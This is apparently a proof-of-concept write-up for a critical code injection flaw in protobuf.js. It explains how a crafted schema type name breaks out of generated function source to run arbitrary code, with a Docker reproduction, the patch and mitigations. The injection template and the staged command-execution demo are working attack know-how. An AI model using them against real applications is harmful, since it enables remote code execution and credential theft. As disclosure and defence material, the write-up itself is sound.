Share
## https://sploitus.com/exploit?id=2D8443AC-DF88-5808-89E6-578FDDBA5092
# GHSA-xq3m-2v4x-88gg: protobuf.js Remote Code Execution

Critical code injection vulnerability in [protobuf.js](https://github.com/protobufjs/protobuf.js) (`protobufjs` npm package) enabling **full remote code execution** through crafted protobuf schema type names.

| Field | Value |
|-------|-------|
| **Advisory** | [GHSA-xq3m-2v4x-88gg](https://github.com/advisories/GHSA-xq3m-2v4x-88gg) |
| **CVSS** | **9.4 (Critical)** |
| **CWE** | CWE-94 (Improper Control of Generation of Code) |
| **Affected** | `protobufjs` <= 7.5.4, <= 8.0.0 |
| **Fixed** | `protobufjs` 7.5.5, 8.0.1 |
| **Fix commit** | [`535df44`](https://github.com/protobufjs/protobuf.js/commit/535df444ac060243722ac5d672db205e5c531d75) |
| **Reported** | 2026-03-02 |
| **Patched** | 2026-03-11 |

## Root Cause

The `protobuf.js` library uses a codegen module (`@protobufjs/codegen`) that builds JavaScript functions by **string concatenation** and executes them via the [`Function()` constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function). Type names from protobuf schemas are inserted directly into generated function identifiers **without any sanitization**.

The vulnerable code path in `src/type.js`:

```javascript
// Type.generateConstructor builds a constructor function:
var gen = util.codegen(["p"], mtype.name);  // mtype.name is UNSANITIZED
// ... adds body lines ...
return gen;  // gen() later calls Function(source)()
```

The codegen `toString()` builds:

```javascript
function NAME(p){
  body
}
```

This is prefixed with `return` and executed via `Function("return function NAME(p){ body }")()`, returning a constructor function. An attacker-controlled type name breaks out of the function identifier to inject arbitrary code into the constructor body.

## Exploitation

### Injection Technique

The crafted type name structure is:

```
X(p){PAYLOAD};if(true){//
```

When passed through codegen, this produces:

```javascript
return function X(p){PAYLOAD};if(true){//(p){
  if(p)for(var ks=Object.keys(p),i=0;i<ks.length;++i)if(p[ks[i]]!=null)
  this[ks[i]]=p[ks[i]]
}
```

The parser sees this as:

| Line | Code | Purpose |
|------|------|---------|
| L1 | `return function X(p){PAYLOAD}` | Returns a function with PAYLOAD as its body |
| L1 | `;if(true){` | Opens a block to absorb the trailing `}` |
| L1 | `//(p){` | Line comment hides duplicate params |
| L2-L3 | `if(p)for(...) this[ks[i]]=p[ks[i]]` | Dead code inside the if block |
| L4 | `}` | Closes the `if(true)` block |

The returned function becomes the **type constructor**. When `protobuf.js` creates or decodes a message using `new ctor(props)`, the injected PAYLOAD executes with full Node.js privileges.

### Attack Chain

```
Attacker crafts .proto schema with malicious type name
         |
         v
App loads schema (Root.fromJSON, protobuf.load, gRPC config)
         |
         v
Type.generateConstructor() โ†’ codegen โ†’ Function() 
         |   (unsanitized name injected into function source)
         v
new ctor(props) called during .create() / .decode() / .encode()
         |
         v
PAYLOAD EXECUTES โ€” child_process, fs, net, process.env
```

### Impact

Exploitation grants the attacker:

- **OS command execution** via `child_process.execSync()`
- **File system access** โ€” read/write arbitrary files
- **Environment variables** โ€” credentials, API keys, database URLs
- **Network access** โ€” data exfiltration, lateral movement
- **Process control** โ€” reverse shells, persistence

Downstream packages affected include `@grpc/proto-loader`, Firebase SDKs, and Google Cloud SDKs.

## Reproduction

### Prerequisites

- Docker

### Quick Start

```bash
# Build the vulnerable environment
docker build -t protobufjs-poc .

# Run the exploit
docker run --rm protobufjs-poc

# Verify the fix (7.5.5)
docker build -f Dockerfile.fixed -t protobufjs-fixed .
docker run --rm protobufjs-fixed
```

### What the PoC Does

The exploit runs 4 stages:

1. **Stage 1** โ€” Injects code via a crafted type name that modifies `globalThis` to prove arbitrary code execution
2. **Stage 2** โ€” Executes `id` via `child_process.execSync()` and writes output to `/tmp/pwned.txt`
3. **Stage 3** โ€” Captures inline command output (`id`, `uname -a`, `/etc/os-release`)
4. **Stage 4** โ€” Displays the generated function source showing exactly how the injection works

## Screenshots

### Exploitation (protobufjs 7.5.4)

All three stages confirm code execution โ€” globalThis modification, OS command execution writing to `/tmp/pwned.txt`, and inline command output capture:

![Exploitation](screenshots/01_exploitation.png)

### Codegen Analysis

The generated function source showing how the type name injection breaks out of the function template:

![Codegen Analysis](screenshots/02_codegen_analysis.png)

### Patch Verification (protobufjs 7.5.5)

Same exploit code against the fixed version โ€” all injection attempts are neutralized:

![Fixed Version](screenshots/03_fixed_version.png)

### Fix Commit

The one-line fix strips all non-word characters from the type name before it reaches codegen:

![Fix Commit](screenshots/04_fix_commit.png)

### Attack Flow

End-to-end attack flow from crafted schema to code execution:

![Attack Flow](screenshots/05_attack_flow.png)

### Vulnerability Summary

![Summary](screenshots/06_summary.png)

## The Fix

Commit [`535df44`](https://github.com/protobufjs/protobuf.js/commit/535df444ac060243722ac5d672db205e5c531d75) adds a single line to the `Type` constructor in `src/type.js`:

```diff
 function Type(name, options) {
+    name = name.replace(/\W/g, "");
     Namespace.call(this, name, options);
```

The regex `\W` matches any character that is not `[A-Za-z0-9_]`, stripping parentheses, semicolons, braces, slashes, and all other metacharacters needed to break out of the function template.

## Files

| File | Description |
|------|-------------|
| `poc_exploit.js` | Full PoC exploit with 4 demonstration stages |
| `poc_fixed.js` | Fix verification script |
| `malicious_schema.json` | Example malicious protobuf schema descriptor |
| `Dockerfile` | Vulnerable environment (protobufjs 7.5.4) |
| `Dockerfile.fixed` | Patched environment (protobufjs 7.5.5) |
| `screenshots/` | Terminal screenshots of exploitation and fix |

## Mitigation

1. **Upgrade immediately**: `npm install protobufjs@^7.5.5` or `npm install protobufjs@^8.0.1`
2. **Audit transitive dependencies**: Check if `@grpc/proto-loader`, Firebase, or Google Cloud SDKs pull in a vulnerable version
3. **Never load protobuf schemas from untrusted sources** without validation
4. **Prefer precompiled/static schemas** (`pbjs` CLI) over dynamic loading in production

## References

- [GitHub Advisory GHSA-xq3m-2v4x-88gg](https://github.com/advisories/GHSA-xq3m-2v4x-88gg)
- [Endor Labs Technical Writeup](https://www.endorlabs.com/learn/the-dangers-of-reusing-protobuf-definitions-critical-code-execution-in-protobuf-js-ghsa-xq3m-2v4x-88gg)
- [BleepingComputer Coverage](https://www.bleepingcomputer.com/news/security/critical-flaw-in-protobuf-library-enables-javascript-code-execution/)
- [Fix PR #2127](https://github.com/protobufjs/protobuf.js/pull/2127)
- [Fix Commit 535df44](https://github.com/protobufjs/protobuf.js/commit/535df444ac060243722ac5d672db205e5c531d75)

## Disclaimer

This proof of concept is provided for **defensive security research and educational purposes only**. Use responsibly and only against systems you own or have explicit authorization to test.